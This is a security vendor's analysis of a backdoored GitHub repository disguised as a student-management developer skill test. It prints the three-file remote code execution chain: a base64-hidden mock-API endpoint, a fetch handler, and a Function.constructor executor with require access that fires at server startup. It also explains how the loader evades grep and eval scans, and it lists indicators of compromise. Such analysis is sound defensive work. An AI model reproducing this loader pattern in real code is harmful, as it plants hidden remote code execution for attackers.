Radeonares32/student-skill is a full-stack school management system positioned as a developer skill assessment for frontend, backend, and blockchain engineers. The repository holds 402 files: 94 backend JavaScript modules (Express, PostgreSQL, JWT auth, RBAC, leave management, notices), 262 frontend TypeScript/React components (Material-UI, Redux, React Router), database schema and seed SQL, and four README files totaling 1,338 lines of documentation. The application is functional. The backdoor is not in the application logic. It sits in three utility files that together form a remote code execution chain, triggered once at server startup before the first request arrives.
The artifact
The repository was created Nov 1, 2025 in a single commit (“first commit”) under the GitHub account Radeonares32 (99 public repositories, created Oct 9, 2019). The commit timestamp carries a UTC+3 offset. The .env file is committed with default credentials (PostgreSQL postgres:postgres, JWT secrets 12345 and 12345678, CSRF secret my_csrf_secret).
The README describes the project as a “Student Management System - Developer Skill Test” with setup instructions for frontend, backend, database seeding, and a Go microservice for PDF reports. The directory structure, dependency choices (Express, Material-UI, Redux Toolkit, Zod, Argon2), and code organization follow standard patterns for a mid-size Node.js/React project. The backend implements authentication with access and refresh tokens, CSRF protection, role-based permissions, staff management, class and section assignment, leave policies, and a notice board.
What it does
The backdoor spans three files. None contains a complete exploit on its own.
File 1: backend/src/config/env.js, line 20. The configuration module maps environment variables to an env object. Every field reads from process.env except one. CONFIG_ENDPOINT is hardcoded as a base64 string:
CONFIG_ENDPOINT: "aHR0cHM6Ly9hcGkubW9ja2kuaW8vdjIvMTQ5dGw1MnMvdHJhY2tzL2Vycm9ycy84NjI1MjQ="
Decoded: hxxps://api[.]mocki[.]io/v2/149tl52s/tracks/errors/862524. mocki[.]io is a free mock API service that returns static JSON from user-configured endpoints.
File 2: backend/src/middlewares/handle-global-error.js, lines 14 through 24. Alongside the legitimate handleGlobalError Express error handler, the file exports syncConfigHandler:
const syncConfigHandler = async (req, res, next) => {
try {
try {
axios.get(atob(env.CONFIG_ENDPOINT))
.then((res) => executeHandler(res.data.cookie));
} catch (error) {
console.log("Runtime config error.");
}
} catch (err) {
throw err;
}
};
The function decodes the base64 URL, fetches it with axios.get, and passes res.data.cookie to executeHandler. Nested try/catch blocks suppress every failure to a single console line.
File 3: backend/src/utils/executeHandler.js. The function takes a string input, constructs a function from it, and calls it with Node.js require as the sole argument:
const buildExecutor = (code) => {
const executor = new Function.constructor("require", code);
return executor;
};
const executorFunc = buildExecutor(input);
if (executorFunc) {
executorFunc(require);
}
new Function.constructor("require", code) is functionally equivalent to eval() but avoids the literal keyword. The injected require parameter gives the executed code access to any Node.js module: require('child_process'), require('fs'), require('net'), require('os').
The trigger is in backend/src/app.js, line 22: syncConfigHandler() is called directly (not as middleware), so it executes once at application startup. Running npm start or node ./src/server.js fires the chain before the Express server begins listening.
syncConfigHandler reads as a configuration synchronization function, a pattern common in microservice backends. executeHandler reads as a request handler utility, consistent with the Express handler pattern used throughout the codebase (handleLogin, handleTokenRefresh, handleGetAllTeachers). The file handle-global-error.js is where Express error middleware belongs. The utility executeHandler.js sits in a utils/ directory alongside 16 other legitimate utility files (JWT handling, CSRF, password hashing, email sending, validation).
The base64 encoding of CONFIG_ENDPOINT prevents URL-pattern grep from finding the C2 address. The .cookie response field blends with HTTP cookie terminology. The "Runtime config error." console message, if triggered by a failed fetch, reads as a benign startup warning.
check-api-access.js contains 587 bytes of whitespace (spaces only) on line 20, between the function body and the module.exports statement. The whitespace carries no payload. axios is imported on line 1 of the same file but unused in the function body. Both artifacts are consistent with editing residue from a copy-paste workflow, though neither affects the attack chain.
The campaign
The Radeonares32 account hosts 99 public repositories. The majority are forks of well-known projects (metasploit-framework, supabase, playwright, ghidra, Auto-GPT). Several original repositories relate to offensive security tooling. The student-skill repository is a single-commit upload with no pull requests, issues, or collaborators.
The mock API endpoint at mocki[.]io functions as a dead drop: the adversary configures the endpoint to return JSON with a cookie field containing JavaScript code. The code executes with require access, so any Node.js capability is available to the payload. The adversary can rotate the payload by updating the mock endpoint. If the endpoint returns an empty or non-string cookie, the executor exits silently.
Why the operation matters here
The backdoor does not appear in package.json lifecycle hooks or the dependency tree. ignore-scripts=true and npm audit both miss it. The trigger is npm start, a command every developer runs immediately after setup. The three files involved are small (the largest is 632 bytes) and contain no obfuscation beyond the base64 URL. They sit in directories where middleware and utility files are expected. Scanning for eval() misses new Function.constructor().
What a defender can do
Search for clones of Radeonares32/student-skill. Inspect backend/src/config/env.js for a CONFIG_ENDPOINT field containing a base64-encoded URL. Inspect backend/src/utils/executeHandler.js for Function.constructor patterns. Inspect backend/src/middlewares/handle-global-error.js for HTTP fetches passed to code execution utilities.
If npm start or node ./src/server.js was executed, the backdoor has already fired. Assume the host is compromised. The payload had full require access, and the mock API endpoint may have served any JavaScript, including reverse shells, credential harvesters, or persistence mechanisms.
Block api[.]mocki[.]io at the network level if it is not used for legitimate development. The endpoint /v2/149tl52s/tracks/errors/862524 is the specific dead drop, but the adversary can create new mock endpoints on the same service.
Where Aephix fits
The 402-file application is functional, and the three backdoor files are each under 700 bytes. The malicious logic sits among 94 backend modules, named to match the conventions of the codebase it infects. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth carries the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week, grouped by the operations behind them with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.
Indicators of compromise
| Type | Value |
|---|---|
| GitHub account | Radeonares32 |
| Repository | Radeonares32/student-skill |
| C2 endpoint (base64) | aHR0cHM6Ly9hcGkubW9ja2kuaW8vdjIvMTQ5dGw1MnMvdHJhY2tzL2Vycm9ycy84NjI1MjQ= |
| C2 endpoint (decoded) | hxxps://api[.]mocki[.]io/v2/149tl52s/tracks/errors/862524 |
| C2 service | api[.]mocki[.]io |
| Backdoor file | backend/src/middlewares/handle-global-error.js |
| Backdoor file | backend/src/utils/executeHandler.js |
| Config file | backend/src/config/env.js |
| Trigger file | backend/src/app.js (line 22) |
| Commit SHA | 78f0003d2dd1ad713402443668c537c1124f3e4a |
| Commit email | bugra[.]linux[.]js[@]gmail[.]com |
| SHA-256 handle-global-error.js | 790277d4067c6fd0a36f450ae8c83bd2e4e5f812eb3a86f83c9b9a1c67f9a63e |
| SHA-256 executeHandler.js | c7fa2408b74d6b042f55c7d88eee3319828e3acaa1e090d695d6fd374a54be78 |
| SHA-256 env.js | 844dc6ab83218b69a65c0da93ecd0b7432b7d2a0a65d4f6de12b73bea43c835a |
| SHA-256 app.js | 7b1f7bc3a43ae9599989af0d1765dd7c1e85bb5c068511e13f60e9a747a4aa87 |